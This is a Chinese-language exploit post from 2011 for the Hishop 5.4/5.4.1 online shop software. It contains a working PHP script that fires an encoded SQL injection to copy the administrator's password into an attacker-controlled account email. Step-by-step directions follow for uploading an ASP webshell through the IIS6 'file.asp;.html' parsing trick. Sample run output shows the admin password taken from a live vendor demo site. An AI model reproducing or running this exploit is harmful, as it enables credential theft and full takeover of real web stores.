

## Hishop 5.4&5.4.1 SQL Injection Exploit

Author: b1ueb0y & vccjis

hishop 自 09 年 5.1 和 5.1.3 爆过漏洞之后就没爆了  
前段时间看了下，找到一个注入点，不过语句有点复杂而且还过滤了下划线  
(表名当中都有下划线)，所以需要特别构造下  
这个注入点再结合 iis6 就能拿 shell 了

前几天看到了 toby57 大牛 dz1.5 的 exp,看的我荡漾了  
所以下午花了点时间，看了下 PHP，学着写了个 php 的 exp  
大牛别笑哈.....

```
=====

<?php
print_r('
+-----+
Hishop 5.4&5.4.1 SQL injection exploit
Team : Wwww.MyClover.Org
Data : 2011.6.9
+-----+
');
if ($argc < 3) {
    print_r('
+-----+
Usage: php '.$argv[0].' Host Port Path RegMail
Example:
php '.$argv[0].' localhost 80 /SHOES/category-92.aspx?valueStr=35_0 syc@myclover.org
+-----+
');
    exit;
}
$host = $argv[1];
$port = $argv[2];
$path = $argv[3];
$mail = $argv[4];
$expdata="";
for($i=0;$i<strlen($mail);$i++)
$expdata = $expdata . dechex(ord($mail[$i])) . "00";
$expdata=strtoupper($expdata);
$expdata=
"%27)%20or%201=1;DECLARE%20@S%20NVARCHAR(4000)%20SET%20@S=CAST(0x750070006
40061007400650020006100730070006E00650074005F004D0065006D0062006500720073006800690
070002000730065007400200045006D00610069006C003D002800730065006C006500630074002000
```

```
700061007300730077006F00720064002000660072006F006D0020006100730070006E00650074005F
006D0065006D0062006500720073006800690070002000770068006500720065002000750073006500
7200690064003D002800730065006C0065006300740020007500730065007200690064002000660072
006F006D0020006100730070006E00650074005F007500730065007200730020007700680065007200
6500200075007300650072006E0061006D0065003D002700610064006D0069006E002700290029002
00077006800650072006500200045006D00610069006C003D002700".$expdata."2700%20AS%20NVA
RCHAR(4000))%20EXEC(@S);--";
GET($host,$port,$path,$expdata,30);
```

```
function GET($host,$port,$path,$data,$timeout, $cookie="") {
    $fp = fsockopen($host, $port, $errno, $errstr, 30);
    if (!$fp) {
        echo "{$errstr} ({$errno})<br />\n";
        exit;
    }
}
```

```
$out = "GET $path$data HTTP/1.1\r\n";
$out .= "Host: $host:$port\r\n";
$out .= "Connection: CLOSE\r\n\r\n\r\n";
```

```
fwrite($fp, $out);
while (!feof($fp)) {
    fgets($fp, 128);
}
fclose($fp);
}
```

```
print_r('
```

```
+-----+
```

```
[+] Get Manager Password
```

```
[1] 到【登陆】-»【我的账户】-»【个人信息】
```

```
[2] 电子邮件那里就是管理员的密码。
```

```
[3] Good Luck!
```

```
+-----+
```

```
[+] Get WebShell (IIS6)
```

```
[1] 登陆后台/admin/【商品管理】-»【分类模板设置】
```

```
[2] 上传1.asp;.html
```

```
[3]Shell 地址:
```

```
http://127.0.0.1/Themes/default/zh-cn/categorythemes/1.asp;.html
```

```
+-----+
```

```
);
```

```
?>
```

```
=====
```

一般选类似这种的 URL

商品分类 CATEGORIES

厨房卫浴

- 手提包 单肩包
- 斜挎包 两用包
- 双肩包 手包/钱包
- 男包专区 电脑包
- 旅行包/拉杆箱

集成吊顶

- 精美外套 时尚裙装
- 丝巾披肩 吊带背心
- 休闲条裤 流行靴裤

分类导购信息

按子分类选择

轻便

按品牌/属性选择

材质: 全部

款式: 全部

属性

常规

category-91.htm?valueStr=35\_0

协议: 超文本传送协议

类型: HTM?VALUESTR=35\_0 文件

地址: http://demo2.hishop.com.cn/SHOES/category-91.htm?valueStr=35\_0 (URL)

```
E:\PHP_Exp\php-5.2.14-Win32>php exp.php demo.hishop.com.cn 80 /pants/category-62.htm?valueStr=27_0 b1u3b0y@t.com

-----+-----
Hishop 5.4&5.4.1 Get Manager Password By: Uccjis & 蓝孩(b1u3b0y)
Team : Www.MyClover.Org
Data : 2011.6.9
-----+-----

[+] Get Manager Password
[1] 到【登陆】->【我的账户】->【个人信息】
[2] 电子邮件那里就是管理员的密码。
[3] Good Luck!

-----+-----

[+] Get WebShell <IIS6>
[1] 登陆后台/admin/ 【商品管理】->【分类模板设置】
[2] 上传1.asp;.html
[3] Shell地址: http://127.0.0.1/Themes/default/zh-cn/categorythemes/1.asp;.html
-----+-----
```

个人信息 - 裕城衣坊 Powered by Hishop - Microsoft Internet Explorer

文件(F) 编辑(E) 查看(V) 收藏(A) 工具(T) 帮助(H)

后退 前进 刷新 搜索 收藏夹 打印

地址: http://demo.hishop.com.cn/user/UserProfile.aspx

订单管理

商品收藏与评论

收藏夹

电子邮件: admin888

拿 shell 的方法上面也都说了，就不重复了。